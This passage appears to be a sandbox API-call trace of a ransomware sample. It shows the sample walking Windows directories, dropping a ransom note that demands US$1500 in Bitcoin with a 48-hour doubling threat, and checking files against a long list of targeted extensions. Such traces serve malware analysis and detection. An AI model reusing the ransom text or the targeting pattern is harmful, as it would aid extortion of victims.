nFileSizeHigh=0x0, nFileSizeLow=0x36f600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Narrator.ni.exe", cAlternateFileName="NARRAT~1.EXE")) returned 0 [0111.941] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.941] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3102802, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x3102802, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x3102802, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4cc02fad33053737088d4c18267ca0a0", cAlternateFileName="4CC02F~1")) returned 0 [0111.941] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0111.941] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44cbf06, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x44f2067, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x44f2067, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x61004e, dwReserved1=0x720072, cFileName="PresentationBuildTa#", cAlternateFileName="PR0EB0~1")) returned 1 [0111.941] lstrcmpA (lpString1=".", lpString2="PresentationBuildTa#") returned -1 [0111.941] lstrcmpA (lpString1="..", lpString2="PresentationBuildTa#") returned -1 [0111.941] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0111.941] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="PresentationBuildTa#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#" [0111.941] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#") returned 67 [0111.941] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44cbf06, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x44f2067, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x44f2067, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0111.942] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.942] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44cbf06, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x44f2067, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x44f2067, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.942] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.942] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.942] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44f2067, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x44f2067, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x44f2067, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="08ccd030c85c817c0a889196955a49a4", cAlternateFileName="08CCD0~1")) returned 1 [0111.942] lstrcmpA (lpString1=".", lpString2="08ccd030c85c817c0a889196955a49a4") returned -1 [0111.942] lstrcmpA (lpString1="..", lpString2="08ccd030c85c817c0a889196955a49a4") returned -1 [0111.942] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\*.*") returned="*.*" [0111.942] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\", lpString2="08ccd030c85c817c0a889196955a49a4" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4" [0111.942] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4") returned 100 [0111.942] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44f2067, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x44f2067, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x44f2067, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.945] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.945] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44f2067, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x44f2067, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x44f2067, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.945] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.945] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.945] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4433985, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x4433985, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x4459ae5, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x1cc000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationBuildTasks.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1 [0111.945] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.945] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationBuildTasks.ni.dll") returned -1 [0111.945] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationBuildTasks.ni.dll") returned -1 [0111.945] lstrcmpiA (lpString1="", lpString2="PresentationBuildTasks.ni.dll") returned -1 [0111.945] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\*.*") returned="*.*" [0111.945] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\" [0111.945] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\") returned="" [0111.945] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\HOW TO DECRYPT FILES.txt" [0111.945] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\presentationbuildta#\\08ccd030c85c817c0a889196955a49a4\\how to decrypt files.txt")) returned 0xffffffff [0111.946] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\presentationbuildta#\\08ccd030c85c817c0a889196955a49a4\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.947] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0111.947] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.948] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.948] CloseHandle (hObject=0x90) returned 1 [0111.948] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\", lpString2="PresentationBuildTasks.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll" [0111.948] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.ems") returned 0 [0111.948] lstrlenA (lpString="*.ems") returned 5 [0111.949] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.db") returned 0 [0111.949] lstrlenA (lpString="*.db") returned 4 [0111.949] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.dbf") returned 0 [0111.949] lstrlenA (lpString="*.dbf") returned 5 [0111.949] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.myox") returned 0 [0111.949] lstrlenA (lpString="*.myox") returned 6 [0111.949] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.myo") returned 0 [0111.949] lstrlenA (lpString="*.myo") returned 5 [0111.949] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.qbw") returned 0 [0111.949] lstrlenA (lpString="*.qbw") returned 5 [0111.949] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.qbb") returned 0 [0111.949] lstrlenA (lpString="*.qbb") returned 5 [0111.949] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.qbm") returned 0 [0111.949] lstrlenA (lpString="*.qbm") returned 5 [0111.949] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.qbo") returned 0 [0111.949] lstrlenA (lpString="*.qbo") returned 5 [0111.949] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.qbx") returned 0 [0111.949] lstrlenA (lpString="*.qbx") returned 5 [0111.949] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.qba") returned 0 [0111.949] lstrlenA (lpString="*.qba") returned 5 [0111.949] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.qby") returned 0 [0111.949] lstrlenA (lpString="*.qby") returned 5 [0111.949] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.qbj") returned 0 [0111.950] lstrlenA (lpString="*.qbj") returned 5 [0111.950] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.ofx") returned 0 [0111.950] lstrlenA (lpString="*.ofx") returned 5 [0111.950] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.qif") returned 0 [0111.950] lstrlenA (lpString="*.qif") returned 5 [0111.950] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.mye") returned 0 [0111.950] lstrlenA (lpString="*.mye") returned 5 [0111.950] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.mbox") returned 0 [0111.950] lstrlenA (lpString="*.mbox") returned 6 [0111.950] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.eml") returned 0 [0111.950] lstrlenA (lpString="*.eml") returned 5 [0111.950] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.pst") returned 0 [0111.950] lstrlenA (lpString="*.pst") returned 5 [0111.950] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.ost") returned 0 [0111.950] lstrlenA (lpString="*.ost") returned 5 [0111.950] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.idx") returned 0 [0111.950] lstrlenA (lpString="*.idx") returned 5 [0111.950] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.dbx") returned 0 [0111.950] lstrlenA (lpString="*.dbx") returned 5 [0111.950] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.sql") returned 0 [0111.950] lstrlenA (lpString="*.sql") returned 5 [0111.950] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.mdb") returned 0 [0111.951] lstrlenA (lpString="*.mdb") returned 5 [0111.951] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.fdb") returned 0 [0111.951] lstrlenA (lpString="*.fdb") returned 5 [0111.951] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.wab") returned 0 [0111.951] lstrlenA (lpString="*.wab") returned 5 [0111.951] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.dat") returned 0 [0111.951] lstrlenA (lpString="*.dat") returned 5 [0111.951] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.txt") returned 0 [0111.951] lstrlenA (lpString="*.txt") returned 5 [0111.951] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.jpeg") returned 0 [0111.951] lstrlenA (lpString="*.jpeg") returned 6 [0111.951] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.jpg") returned 0 [0111.951] lstrlenA (lpString="*.jpg") returned 5 [0111.951] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.png") returned 0 [0111.951] lstrlenA (lpString="*.png") returned 5 [0111.951] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.php") returned 0 [0111.951] lstrlenA (lpString="*.php") returned 5 [0111.951] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.cs") returned 0 [0111.951] lstrlenA (lpString="*.cs") returned 4 [0111.952] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.cpp") returned 0 [0111.952] lstrlenA (lpString="*.cpp") returned 5 [0111.952] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.rar") returned 0 [0111.952] lstrlenA (lpString="*.rar") returned 5 [0111.952] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.zip") returned 0 [0111.952] lstrlenA (lpString="*.zip") returned 5 [0111.952] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.html") returned 0 [0111.952] lstrlenA (lpString="*.html") returned 6 [0111.952] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.htm") returned 0 [0111.952] lstrlenA (lpString="*.htm") returned 5 [0111.952] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.xlsx") returned 0 [0111.952] lstrlenA (lpString="*.xlsx") returned 6 [0111.952] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.xls") returned 0 [0111.952] lstrlenA (lpString="*.xls") returned 5 [0111.952] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.mp4") returned 0 [0111.952] lstrlenA (lpString="*.mp4") returned 5 [0111.952] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.ppt") returned 0 [0111.952] lstrlenA (lpString="*.ppt") returned 5 [0111.952] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.pptx") returned 0 [0111.952] lstrlenA (lpString="*.pptx") returned 6 [0111.953] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.doc") returned 0 [0111.953] lstrlenA (lpString="*.doc") returned 5 [0111.953] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.dot") returned 0 [0111.953] lstrlenA (lpString="*.dot") returned 5 [0111.953] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.docx") returned 0 [0111.953] lstrlenA (lpString="*.docx") returned 6 [0111.953] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.7z") returned 0 [0111.953] lstrlenA (lpString="*.7z") returned 4 [0111.953] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.tar") returned 0 [0111.953] lstrlenA (lpString="*.tar") returned 5 [0111.953] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.bz2") returned 0 [0111.953] lstrlenA (lpString="*.bz2") returned 5 [0111.953] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.gz") returned 0 [0111.953] lstrlenA (lpString="*.gz") returned 4 [0111.953] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.mkv") returned 0 [0111.953] lstrlenA (lpString="*.mkv") returned 5 [0111.953] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.eml") returned 0 [0111.953] lstrlenA (lpString="*.eml") returned 5 [0111.953] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.msg") returned 0 [0111.953] lstrlenA (lpString="*.msg") returned 5 [0111.954] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.edb") returned 0 [0111.954] lstrlenA (lpString="*.edb") returned 5 [0111.954] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.accdb") returned 0 [0111.954] lstrlenA (lpString="*.accdb") returned 7 [0111.954] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.odb") returned 0 [0111.954] lstrlenA (lpString="*.odb") returned 5 [0111.954] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.java") returned 0 [0111.954] lstrlenA (lpString="*.java") returned 6 [0111.954] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.asm") returned 0 [0111.954] lstrlenA (lpString="*.asm") returned 5 [0111.954] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationBuildTa#\\08ccd030c85c817c0a889196955a49a4\\PresentationBuildTasks.ni.dll", pszSpec="*.pfx") returned 0 [0111.954] lstrlenA (lpString="*.pfx") returned 5 [0111.954] PathMatchSpecA 